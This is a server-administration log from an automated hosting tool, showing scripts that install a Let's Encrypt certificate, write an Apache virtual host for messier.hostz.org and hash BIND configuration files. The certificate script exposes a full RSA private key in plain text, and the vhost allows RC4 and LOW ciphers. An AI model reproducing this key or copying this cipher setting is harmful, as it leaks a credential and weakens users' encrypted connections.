MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-06 12:09:44: Establishing a connection
2026-04-06 12:09:45: Establishing a connection
2026-04-06 12:09:47: 

PUT: /tmp/pkp115269

#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-06 12:09:48: 

chmod 755 /tmp/pkp115269; /tmp/pkp115269; rm /tmp/pkp115269

2026-04-06 12:09:48: 


1


2026-04-06 12:09:49: Establishing a connection
2026-04-06 12:09:50: 

PUT: /tmp/pkp226780

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > J2UnHG3Zi62fFzN_MVsYSiooBevqk2BauZktROl4lg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
J2UnHG3Zi62fFzN_MVsYSiooBevqk2BauZktROl4lg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 J2UnHG3Zi62fFzN_MVsYSiooBevqk2BauZktROl4lg4


2026-04-06 12:09:51: 

chmod 755 /tmp/pkp226780; /tmp/pkp226780; rm /tmp/pkp226780

2026-04-06 12:09:52: 




2026-04-06 12:09:57: Establishing a connection
2026-04-06 12:09:58: 

PUT: /tmp/pkp803573

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm J2UnHG3Zi62fFzN_MVsYSiooBevqk2BauZktROl4lg4


2026-04-06 12:09:59: 

chmod 755 /tmp/pkp803573; /tmp/pkp803573; rm /tmp/pkp803573

2026-04-06 12:09:59: 




2026-04-06 12:09:59: Establishing a connection
2026-04-06 12:10:00: 

PUT: /tmp/pkp439101

#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt

cat > $temp_file <<'endmsg'
c0:8d:70:40:4a:a7:8f:3d:a5:d3:9a:13:78:00:94:5e

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBVGpubMgMChwJy1Smk/BiWqkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA2MTExMTI1WhcNMjYwNzA1MTExMTI0WjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKlgWQARQpR1FhQtbLvZfxekOHZ+rOvUOs4Bn8Xp8N2YAXGmV7mkv+nfQNYl
mnsQUHFtpWdGz1r1uViOGYJc/YWhQD3sUAhhgIrK8J3CYN7WgOJ3ujPnx299fJrw
MUH5n0/cPx+GN0vFOncjh7KtKsB6fqE843dxtxJiuFhQBW5bHM5F2q6VJBM9NrqZ
R7cREoBw8pvBUxjy6d3Lm5lpDkFPLAH4PkFAV1bta/ngUZ7X6lldXUlTA5OdtTX5
LKLtiUb7MUz9wauxmOy/iF7z5bzBVMGR/rBiGAN3jSCKfcjTdo9xvcZl//MnuWdN
fAKCk6ZploUeyBVRKZs3S20W1NcCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0
xIzyp/XdZ5OC/1YuH9lO6J6ysjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lc3NpZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvMzcuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAlE5Dh/rswe+B
8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdYrMSXgAABAMARzBFAiB/PHU3+56f
49L+usCyvCjCg6VFL8NIQBvccIdspaGgoAIhALdXUW0t1TZse0Qw7RA5SuvgnfI/
SA8IzqV9WxI7U7lJAH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScA
AAGdYrMUEgAIAAAFAAXRMzAEAwBGMEQCICqRf5/Sp2oIWwsPDRiPxO4z6aeUMAwr
Qy1xOS0Yqpe0AiAlrdSUxRUZzoxAo8JzUckP62a7gSjLL5tuo9jJ4T/AODANBgkq
hkiG9w0BAQsFAAOCAQEAnneGTNzsY3R6Non8k4hsEc/THu7Yvh8ed33FVDq0LOsK
zqzA3w//q0c46XUdTHJUdokHoEXx7ZDAcykqEMBkhiBZviQsJ7NoAiq+lQk4EYsM
zhWbDI5/kQnGJe63sPiFc2wAgsayChCjINJai05OI57q0lUgaTk/qUnEZJ/uW8qD
nTmD93b55Q37KRKeZ6DmpLBdcK3PoLk5iT4nqGCmXzVXRSlFzEGCbDPMSQmQBzIB
ZhP3yVFYN6+bGfBSW1LTzB8hy04Uzqrh9LI/6/9F15GhyVvfyt17TvoQjuA8FqCP
xtajES4hRmd8+/wm6WDIZdVfrh91/IpdYNhwJbOF4g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpYFkAEUKUdRYU
LWy72X8XpDh2fqzr1DrOAZ/F6fDdmAFxple5pL/p30DWJZp7EFBxbaVnRs9a9blY
jhmCXP2FoUA97FAIYYCKyvCdwmDe1oDid7oz58dvfXya8DFB+Z9P3D8fhjdLxTp3
I4eyrSrAen6hPON3cbcSYrhYUAVuWxzORdqulSQTPTa6mUe3ERKAcPKbwVMY8und
y5uZaQ5BTywB+D5BQFdW7Wv54FGe1+pZXV1JUwOTnbU1+Syi7YlG+zFM/cGrsZjs
v4he8+W8wVTBkf6wYhgDd40gin3I03aPcb3GZf/zJ7lnTXwCgpOmaZaFHsgVUSmb
N0ttFtTXAgMBAAECggEAITloi+ZW2Jc1GwUkEJ8j2ofYmYnUsrfhRxqzdBelK1qP
YfM+vwgtqxsjdT5QFLbJCM74xI7zysRrtI6/Oz6xbl6IovzxYAt8Mv2HAHMqHFwY
URQqPtdG3DxRznSyPN5R3VD3QuBJhX/tLYSXMDneqn38y/UNK5dvUVhzD8O2pQRB
I2TR7LHb65XwZvuBdHeyeU65bM5AwDJ6ezMwEty6xjiEucaH9GVGzdayHddlDTvO
XKGoJvyNM6X32sF4mnAZaUxjYwX7iTXhJ94L7J8ppguawztww2noMqG6BrdKxBJY
Etvia/yG0flq+PU8MrMxXb0NQWbRfcz2C9YhhJR3uQKBgQDpXeA+wkubMzSsH0oh
qpeNKl9jKeXuM8zz4fC4llaSdNi4lYH0pI87bp0YYMVI4z2mib+sJ4qgpIZkj+KB
rz1faEfTU+igKUzcoJoH6HmAzQX4TBVxtZB+AJjIG3nkuaoQGrjQpbeXDn/FImoq
mXcuJOYdl37R1/MERjzEA8Cu+QKBgQC5zbF2u+QzpVIc2Bt+bRKjWx9qZRGjRo+y
5q72NTBXZcMcC/IGw23i8TH9LpjhbkA2o60W6GXCpRvEA5tGjxw1RcSMg1DXP1sZ
mRQw54a0m1pJMhrI4ghm2i2ayLhZ03z+ro1t5FV/xiI3EmmkeLLmHp+9bBM5Z/bJ
e/dOS38GTwKBgQC0DN3rDfVPdR56flmvx/LN05ds5vKj6guDTxtvD28T6Fsdbxyp
KB3qeNlz6ZXNOqZiS3060fc/IjEefXUBIbd0WPyxq9ebWsIWp0KwP0kfew/UFr+k
z7T/wm4eVjShqC3x5uwY7wLK5UDnVDodS/KMA6QXyL7sIHU7IwXXJh4P4QKBgCAZ
UwFKMIBjnS3yf711pnSmN2UwFL36YLTteWh7g+B1aiGcRrG4bXF5bcNpm2vGmj1W
RX7ho0LfN07DuL2V16+0X+JOhVbKUTi4424XcYQeGpjumQX/Vqg+JQbKil6qVLvC
+Bf2DHdIiXyuJ6YMXAu5Wqtk0mVmepIQYocaL9WtAoGAL2D4NJfUN/9yxkCmlvJ8
8P0X42pC9yjLkEbPe1SEjDZVTdk5JIqDug0Fo4kKlrBDpHvpAIX57STy7YsnCMwB
AGaM+VaKaRNf6xpxLm6BxhMsBYm3S/LOgXXlnJUId6lUmtTpkLRMilxjPJIFx0X0
H4Ml2hHft+z+7rfkURQB9MA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-06 12:10:01: 

chmod 755 /tmp/pkp439101; /tmp/pkp439101; rm /tmp/pkp439101

2026-04-06 12:10:02: 


dir=/etc/pki/tls/certs/


2026-04-06 12:10:02: 

PUT: /tmp/pkp188884

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_messier.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-06 12:10:02: 

chmod 755 /tmp/pkp188884; /tmp/pkp188884; rm /tmp/pkp188884

2026-04-06 12:10:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-06 12:10:02: 

PUT: /tmp/pkp299397

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi


2026-04-06 12:10:03: 

chmod 755 /tmp/pkp299397; /tmp/pkp299397; rm /tmp/pkp299397

2026-04-06 12:10:03: 




2026-04-06 12:10:03: 

PUT: /tmp/pkp977136

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-06 12:10:04: Establishing a connection
2026-04-06 12:10:04: 

chmod 755 /tmp/pkp977136; /tmp/pkp977136; rm /tmp/pkp977136

2026-04-06 12:10:04: 

PUT: /tmp/pkp207370

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-06 12:10:04: 


.


2026-04-06 12:10:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp207370; rm /tmp/pkp207370'

2026-04-06 12:10:04: Establishing a connection
2026-04-06 12:10:04: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
